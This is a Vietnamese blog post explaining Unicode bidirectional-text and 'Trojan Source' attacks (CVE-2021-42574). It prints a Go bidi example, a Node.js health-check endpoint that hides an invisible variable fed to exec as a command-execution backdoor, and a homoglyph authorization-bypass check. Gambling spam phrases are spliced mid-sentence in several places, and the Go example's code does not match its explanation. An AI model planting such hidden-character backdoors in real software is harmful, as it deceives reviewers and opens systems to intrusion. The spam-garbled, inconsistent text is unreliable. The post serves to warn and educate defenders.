Ngày 19 tháng 11 năm 2021 - Trần Hạo - Bình luận - 23 bình luận - 52.234 lượt đọc

Khái niệm f8bet1 con “hai chiều” (bidirectional) dùng để chỉ trường hợp một tập tin có cả văn bản từ trái sang phải lẫn từ phải sang trái. Thuật ngữ này thường được viết tắt là BiDi hoặc bidi. Đối với người sử dụng tiếng Trung Quốc, khái niệm này không quá xa lạ vì tiếng Trung có thể được viết theo cả hai hướng: từ trái sang phải, từ phải sang trái và thậm chí từ trên xuống dưới.

Vào thời kỳ đầu của máy tính, hệ thống chỉ được thiết kế để hỗ trợ văn bản Latinh viết từ trái sang phải. Việc bổ sung các bộ ký tự và mã hóa mới giúp hỗ trợ nhiều ngôn ngữ viết từ trái sang phải nhưng lại gặp khó khăn khi xử lý các ngôn ngữ viết từ phải sang trái như tiếng Ả Rập hoặc tiếng Do Thái. Đặc biệt, việc kết hợp cả hai kiểu văn bản này cùng lúc gần như là không thể. Các ngôn ngữ viết từ phải sang trái sau đó đã được giới thiệu qua các chuẩn mã hóa như ISO/IEC 8859-6 và ISO/IEC 8859-8, lưu trữ các ký tự theo thứ tự viết và đọc. Tuy nhiên, nếu đơn giản lật ngược trình tự hiển thị từ trái sang phải thành từ phải sang trái, sẽ dẫn đến mất khả năng hiển thị đúng các ngôn ngữ từ trái sang phải. Nhờ có hỗ trợ văn shbet love bản hai chiều, giờ đây có thể trộn lẫn ký tự từ các ngôn ngữ khác nhau trên cùng một trang mà không quan tâm đến hướng viết.

Hỗ trợ văn bản hai chiều là khả năng của hệ thống máy tính để hiển thị đúng các văn bản hai chiều. Tiêu chuẩn Unicode cung cấp nền tảng cho hỗ trợ đầy đủ BiDi bằng cách đưa ra quy tắc chi tiết về cách mã hóa và hiển thị sự kết hợp giữa các ngôn ngữ game nổ hũ đăng ký tặng code từ trái sang phải và từ phải sang trái. Người dùng cũng có thể sử dụng một số ký tự kiểm soát để sắp xếp văn bản hai chiều.

Bây giờ, sau khi đã tìm hiểu sơ lược về văn bản hai chiều, chúng ta hãy chuyển sang vấn đề chính: Tại sao GitHub lại đưa ra cảnh báo này? Theo bài viết trên blog chính thức của GitHub, “Thông báo về văn bản Unicode hai chiều”, việc sử dụng các ký tự kiểm soát ẩn trong Unicode có thể khiến mã nguồn hoạt động hoàn toàn khác so với vẻ ngoài của nó.

Xem xét ví dụ sau, đoạn mã Go dưới đây sẽ chuyển đổi từng ký tự của chuỗi “Hello, World!” thành số nguyên, sau đó đếm số bit có giá trị 1:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

package main
import "fmt"
func main() {
    str, mask := "Hello, World!‮10x‭", 0
    bits := 0
    for _, ch := range str {
        for ch > 0 {
            bits += int(ch) & mask
            ch = ch >> 1
        }
    }
    fmt.Println("Total bits set:", bits)
}

Khi chạy đoạn mã này, bạn sẽ nhận thấy rằng tổng số bit có giá trị 1 là 0. Điều này xảy ra vì trong chuỗi có chứa hai ký tự kiểm soát Unicode:

• U+202E – Right-to-Left Override [RLO]: Ký tự này chỉ định phần văn bản tiếp theo sẽ được hiển thị từ phải sang trái, khiến 10x", 0 trở thành 0 ,"x01.
• U+202D – Left-to-Right Override [LRO]: Ký tự này chỉ định phần văn bản tiếp theo sẽ được hiển thị từ trái sang phải, khiến 0,"x01 bị đảo ngược thành ", 0x01.

Do đó, mặc dù bạn nhìn thấy "Hello, World!", 0x01, thực tế thì nội dung đang bị thay đổi bởi các ký tự kiểm soát này.

GitHub cũng đề cập đến một lỗ hổng bảo mật CVE-2021-42574 liên quan đến thuật toán hai chiều của Unicode phiên bản 14.0. Lỗ hổng này cho phép kẻ tấn công sử dụng các dãy ký tự kiểm soát để tái cấu trúc trực quan các ký tự trong mã nguồn, tạo ra mã trông khác so với cách mà trình biên dịch hoặc trình thông dịch thực thi. Bài viết “Một số lỗ hổng là vô hình” của Đại học Cambridge đã mô tả chi tiết vấn đề này.

Ngoài ra, còn có nhiều loại tấn công khác liên quan đến Unicode, đặc biệt là thông qua các “ký tự vô hình” hoặc “ký tự đồng âm”. Ví dụ, trong bài viết “Cửa hậu JavaScript vô hình”, đoạn mã sau có chứa một biến bí mật:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);
const app = express();
app.get('/network_health', async (req, res) => {
    const { timeout, } = req.query;
    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s '
    ];
    try {
        await Promise.all(checkCommands.map(cmd => 
            cmd && exec(cmd, { timeout: +timeout || 5_000 })));
        res.status(200);
        res.send('ok');
    } catch(e) {
        res.status(500);
        res.send('failed');
    }
});
app.listen(8080);

Đoạn mã này thực hiện kiểm tra sức khỏe mạng rất đơn giản bằng cách chạy lệnh ping -c 1 google.com và curl -s. Tuy nhiên, do có một ký tự Unicode vô hình (πàñ), biến này có thể thực thi lệnh tùy ý. Nếu bạn chuyển đổi mã hóa từ Unicode sang DOS (CP437), bạn sẽ nhìn thấy rõ ràng hơn.

Cuối cùng, một phương pháp tấn công khác là sử dụng “ký tự đồng âm”. Ví dụ:

1
2
3
4

if(environmentǃ=ENV_PROD){
    // bypass authZ checks in DEV
    return true;
}

Bạn có thể nghĩ rằng ǃ là dấu chấm than thông thường, nhưng thực tế đó là ký tự Unicode ǃ. Ngay cả khi chuyển mã nguồn sang DOS (CP437), mắt thường vẫn không thể phân biệt được giữa ký tự bình thường và bất thường trong một khối văn bản lớn.

Đã đến lúc kiểm tra xem mã nguồn của bạn có mắc phải các vấn đề tương tự hay không.